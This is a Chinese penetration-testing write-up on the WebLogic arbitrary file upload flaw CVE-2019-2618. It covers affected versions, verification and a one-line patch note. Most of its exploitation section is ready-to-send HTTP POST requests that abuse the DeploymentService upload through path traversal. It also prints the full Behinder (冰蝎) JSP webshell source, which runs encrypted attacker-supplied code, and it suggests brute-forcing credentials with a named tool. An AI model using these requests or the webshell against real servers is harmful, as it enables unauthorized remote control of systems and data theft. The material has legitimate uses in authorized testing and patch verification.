前言
持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。
0x01 漏洞描述
- Weblogic任意文件上传漏洞(CVE-2019-2618) -
Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle Weblogic Server组件的DeploymentService接口支持向服务器上传任意文件。攻击者绕过OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而控制服务器权限,影响数据的可用性、保密性和完整性。
影响版本:
- Oracle Weblogic Server 12.2.1.3
- Oracle Weblogic Server 12.1.3.0
- Oracle Weblogic Server 10.3.6.0
0x02 漏洞等级
0x03 漏洞验证
使用WeblogicScaner工具检测目标网站存在CVE-2019-2618漏洞的利用模块。
该漏洞利用的前提是需要知道Weblogic的账号密码,可以尝试Weblogic常用弱口令,或者使用web-brutator工具爆破账号密码。
- Weblogic常用弱口令: http://cirt.net/passwords?criteria=Weblogic
- web-brutator工具:https://github.com/koutto/web-brutator
注意:Weblogic多次登录失败有账号锁定策略,即使爆破成功后输入正确账号密码也可能会提示“验证被拒绝”,需要等待半小时自动解锁,之后再尝试登录即可。
发送如下数据包,文件写入成功后会返回上传地址。
代码语言:javascript复制POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: www.luckysec.cn:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: Weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: Weblogic
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 218
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false
<%
out.print("123456");
%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
访问上传文件地址验证漏洞利用成功。
代码语言:javascript复制http://www.luckysec.cn:7001/bea_wls_internal/shell.jsp
发送如下数据包,可写入冰蝎webshell获取服务器权限。
代码语言:javascript复制POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: www.luckysec.cn:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: Weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: Weblogic
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 218
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
使用冰蝎工具远程连接webshell成功。
0x04 漏洞修复
- 目前厂商已发布升级补丁以修复漏洞。